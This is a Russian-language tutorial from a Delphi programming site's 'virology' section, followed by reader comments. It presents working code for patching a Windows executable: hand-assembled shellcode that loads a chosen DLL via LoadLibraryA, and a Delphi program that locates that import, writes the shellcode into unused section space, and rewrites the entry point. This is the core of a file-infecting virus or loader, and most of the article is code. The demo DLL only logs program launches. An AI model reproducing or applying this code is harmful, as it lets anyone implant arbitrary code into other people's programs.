Воскресенье, 22.12.2024, 06:21 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Каким ICQ клиентом вы пользуетесь?
Всего ответов: 526

Главная » Статьи » Delphi » Вирусология

Внедряемся в процесс

Для начала определимся с внедряемым кодом. Он будет передавать функции LoadLibraryA имя подгружаемой DLL’ки, вызывать LoadLibraryA и запускать программу (прыжок на Original Entry Point). Пусть это будет что-то вроде этого:

db 0E8h
dd 00000000 //
это call $+5; Он нужен для получения регистра EIP
pop ecx //
получаем EIP
add ecx,13 //
Получаем адрес имени DLL’ки
push ecx //
передаём его в качестве параметра LoadLibraryA
call [$00403344] //
вызов LoadLibraryA. (адрес вызова мы будем модифицировать в зависимости от программы)
jmp ProgStart
db 4Dh db 79h db 4Fh db 77h db 6Eh db 2Eh db 64h db 6Ch db 6Ch db 0h //
здесь имя DLL’ки. (в нашем случае MyOwn.dll + #0)
ProgStart:
db 0e9h db 0 db 0 db 0 db 0 //
это прыжок на Original Entry Point. (в дальнейшем тоже модифицируем).

Этот код нужно откомпилить, что бы получить машинный код:

:004033AC E800000000 call 004033B1
:004033B1 59 pop ecx
:004033B2 83C10C add ecx, 0000000C
:004033B5 51 push ecx

:004033B6 E889FFFFFF Call 00403344 //
этот адрес мы модифицируем. (LoadLibraryA)
:004033BB EB0A jmp 004033C7
:004033BD 4D dec ebp
:004033BE 794F jns 0040340F
:004033C0 776E ja 00403430
:004033C2 2E BYTE 02eh

:004033C3 64 BYTE 064h

:004033C4 6C insb
:004033C5 6C insb
:004033C6 00E9 add cl, ch
:004033C8 00000000 BYTE 4 DUP(0)


Что ж… Теперь можно перейти к написанию модифицирующей части. Немного теории: требуется открыть модифицируемую прогу, найти в её таблице импорта указатель на LoadLibraryA, найти свободное место, в которое мы запишем код (в 95% программ есть "целинные участки” в секциях .text, CODE, DATA или .data). Поменять Original Entry Point на наш.

Вот пример кода:

program Exefiles;

{$APPTYPE CONSOLE}
uses
windows, ImageHlp;

type IMAGE_IMPORT_DESCRIPTOR=record //
запись в таблице импорта
OriginalFirstThunk: DWORD;
TimeDateStamp : DWORD;
ForwarderChain : DWORD;
Name : DWORD;
FirstThunk : DWORD;
end;

TOE=record //
структура секции
Name:array[0..7] of char;
SizeOfSect:dword;
RVA:dword;
RealSize:dword;
RVAinPE:dword;
a:array[0..11] of byte;
Attr:dword;
end;

const FuncName='LoadLibraryA';

var s:array[0..12] of char;
h:integer;
oe:toe;
_:IMAGE_DOS_HEADER;
IOH:IMAGE_NT_HEADERS;
__,hel:cardinal;
LLA:dword;
a,i:shortint;
iid: IMAGE_IMPORT_DESCRIPTOR;
SavedRVA,NewRVA:cardinal;
mas:array[0..11] of byte=($E8,0,0,0,0,$59,$83,$C1,$0d,$51,$FF,$15); // наш код
mas1:array[0..18] of byte=($EB,$0A,$4D,$79,$4F,$77,$6E,$2E ,$64,$6C,$6C,0,$90,$90,$90,$90,$90,$90,$E9); //
я дополнил код nop’ами. (Что б в Win32Dasm всё видно было)

//
За RVA2Offset & Offset2RVA спасибо R4D][ :)
function RVA2Offset(hFile: THANDLE;RVA: Cardinal): Cardinal;
var
Base: Pointer;
ISH : PIMAGESECTIONHEADER;
INH : PIMAGENTHEADERS;
hFM : THANDLE;
begin
Result:=0;
hFM:=CreateFileMapping(hFile,nil,PAGE_READONLY,0,0,nil);
Base:=MapViewOfFile(hFM,FILE_MAP_READ,0,0,0);
if Base=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
INH:=ImageNTHeader(Base);
if INH=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
ISH:=ImageRVAToSection(INH,Base,RVA);
if ISH=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
Result:=RVA-ISH.VirtualAddress+ISH.PointerToRawData;
UnMapViewOfFile(Base);
CloseHandle(hFM);
end;

function Offset2RVA(hFile: THANDLE;Offset: Cardinal): Cardinal;
var
Base: Pointer;
ISH : PIMAGESECTIONHEADER;
INH : PIMAGENTHEADERS;
hFM : THANDLE;
x : Integer;
begin
Result:=0;
hFM:=CreateFileMapping(hFile,nil,PAGE_READONLY,0,0,nil);
Base:=MapViewOfFile(hFM,FILE_MAP_READ,0,0,0);
if Base=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
INH:=ImageNTHeader(Base);
if INH=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
ISH:=PIMAGESECTIONHEADER(DWORD(INH)+sizeof(IMAGE_NT_HEADERS));
for x:=0 to INH.FileHeader.NumberOfSections do
begin
if (Offset>=ISH.PointerToRawData) and (Offset<=ISH.PointerToRawData+ISH.SizeOfRawData) then break;
inc(ISH);
end;
Result:=Offset+ISH.VirtualAddress-ISH.PointerToRawData;
UnMapViewOfFile(Base);
CloseHandle(hFM);
end;

begin
Writeln('Enter Exe-File name');
Readln(s);
h:=Createfile(s,GENERIC_READ or GENERIC_WRITE, 0,nil,OPEN_EXISTING,0,0);
if h=-1 then begin
Writeln('Wrong handle');
Readln;
exit;
end;
ReadFile(h,_,sizeof(_),__,nil);
SetFilePointer(h,_._lfanew,0,FILE_BEGIN);
ReadFile(h,IOH,sizeof(IOH),__,nil);
SavedRVA:=Rva2offset(h,ioh.OptionalHeader.AddressOfEntryPoint);
if ioh.Signature<>$00004550 then
begin
writeln('Wrong magic');
readln;
CloseHandle(h);
exit;
end;
__:=rva2offset(h,ioh.OptionalHeader.DataDirectory[1].VirtualAddress);
_._lfanew:=SetFilePointer(h,__,0,FILE_BEGIN);
iid.FirstThunk:=1; // лезем в чанки искать LoadLibrayA
while (s<>'LoadLibraryA')and(iid.FirstThunk<>0) do begin
ReadFile(h,IID,sizeof(IID),__,nil);
inc(_._lfanew,__);
__:=rva2offset(h,IID.Name);
SetFilePointer(h,__,0,FILE_BEGIN);
Readfile(h,s,12,__,nil);
if (s='kernel32.dll')or(s='KERNEL32.dll') then begin //
Borland и Microsoft пишут kernel32 каждый по своему
hel:=rva2offset(h,IID.FirstThunk);
repeat
SetFilePointer(h,hel,0,FILE_BEGIN);
Readfile(h,LLA,4,__,nil);
inc(hel,__);
__:=rva2offset(h,LLA)+2;
SetFilePointer(h,__,0,FILE_BEGIN);
Readfile(h,s,12,__,nil);
until (s=FuncName)or(LLA=0);
end;
SetFilePointer(h,_._lfanew,0,FILE_BEGIN);
end;
if s<>FuncName then exit;
SetFilePointer(h,0,0,FILE_BEGIN); //
нашли адрес LoadLibraryA'a и теперь можем (и даже должны :)) записать код в файл.
readFile(h,_,sizeof(_),__,nil);
SetFilePointer(h,_._lfanew+sizeof(ioh),0,FILE_BEGIN);
oe.SizeOfSect:=1;
while (((oe.Name<>'DATA') and (oe.Name<>'.text')and (oe.Name<>'CODE') and (oe.Name<>'.data'))or (oe.RealSize-oe.SizeOfSect<40))and (oe.SizeOfSect<>0) do //
Будем помещать код в секции данных или кода. Так же нам важен и размер неиспользуемой части секции. (что б наш код поместился)
readfile(h,oe,sizeof(oe),__,nil); 
if oe.Name='' then exit;
newRva:=SetFilePointer(h,rva2offset(h,oe.RVA)+oe.SizeOfSect,0,FILE_BEGIN); //
Теперь всё формируем и пишем
Writefile(h,mas,sizeof(mas),__,nil);
hel:=Offset2Rva(h,hel)+ioh.OptionalHeader.ImageBase -4;
Writefile(h,hel,sizeof(hel),__,nil);
Writefile(h,mas1,sizeof(mas1),__,nil);
ioh.OptionalHeader.AddressOfEntryPoint:=ioh.OptionalHeader.AddressOfEntryPoint-Offset2Rva( h,SetFilePointer(h, 0, 0, FILE_CURRENT)+4);//
вычисляем значение для прыжка. Оно равно разности между последующим RVA и Original RVA. Writefile(h,ioh.OptionalHeader.AddressOfEntryPoint,sizeof(ioh.OptionalHeader.AddressOfEntryPoint),__,nil); 
//
теперь записываем все модификации.
newrva:=Offset2Rva(h, newrva);
SetFilePointer(h, 0, 0, FILE_BEGIN);
readFile(h, _, sizeof(_), __, nil);
SetFilePointer(h, _._lfanew, 0, FILE_BEGIN);
ioh.OptionalHeader.AddressOfEntryPoint:=newrva;
Writefile(h, ioh, sizeof(ioh), __, nil);
CloseHandle(h);
end.


Код DLL’ки же зависит от того, что мы пишем. Я для примера написал DLL’ку, которая ведёт лог запусков программы:

library MyOwn;

uses
windows, sysutils;

var f:text;
begin
assignfile(f, 'test.txt');
if fileexists('test.txt')then append(f)
else rewrite(f);
writeln(f, datetimetostr(now));
closefile(f);
end.

Категория: Вирусология | Добавил: dolphin (18.05.2010)
Просмотров: 4467 | Комментарии: 4 | Рейтинг: 4.2/5

Всего комментариев: 4
avatar
4 dolphin • 13:59, 26.05.2011
Delphi + asm
avatar
3 Sikaru • 12:31, 26.05.2011
А на чом компилить!
avatar
2 dolphin • 21:33, 07.09.2010
asm
avatar
1 nickiller22 • 13:17, 17.07.2010
Для начала определимся с внедряемым кодом. Он будет передавать функции LoadLibraryA имя подгружаемой DLL’ки, вызывать LoadLibraryA и запускать программу (прыжок на Original Entry Point). Пусть это будет что-то вроде этого:

db 0E8h
dd 00000000 // это call $+5; Он нужен для получения регистра EIP
pop ecx // получаем EIP
add ecx,13 // Получаем адрес имени DLL’ки
push ecx // передаём его в качестве параметра LoadLibraryA
call [$00403344] // вызов LoadLibraryA. (адрес вызова мы будем модифицировать в зависимости от программы)
jmp ProgStart
db 4Dh db 79h db 4Fh db 77h db 6Eh db 2Eh db 64h db 6Ch db 6Ch db 0h // здесь имя DLL’ки. (в нашем случае MyOwn.dll + #0)
ProgStart:
db 0e9h db 0 db 0 db 0 db 0 // это прыжок на Original Entry Point. (в дальнейшем тоже модифицируем).

Этот код нужно откомпилить, что бы получить машинный код:

:004033AC E800000000 call 004033B1
:004033B1 59 pop ecx
:004033B2 83C10C add ecx, 0000000C
:004033B5 51 push ecx

:004033B6 E889FFFFFF Call 00403344 // этот адрес мы модифицируем. (LoadLibraryA)
:004033BB EB0A jmp 004033C7
:004033BD 4D dec ebp
:004033BE 794F jns 0040340F
:004033C0 776E ja 00403430
:004033C2 2E BYTE 02eh

:004033C3 64 BYTE 064h

:004033C4 6C insb
:004033C5 6C insb
:004033C6 00E9 add cl, ch
:004033C8 00000000 BYTE 4 DUP(0)

объясните поподробнее я просто еще с таким не сталкивался что это? и куды это писать?

avatar
Профиль



Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 457
Форум: 1175/8162
Коментариев: 770
Новостей: 29

Статистика пользователей
Всего: 385
За неделю: 2
Вчера: 0
Сегодня: 0
Всего онлайн: 14
Гостей: 14
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz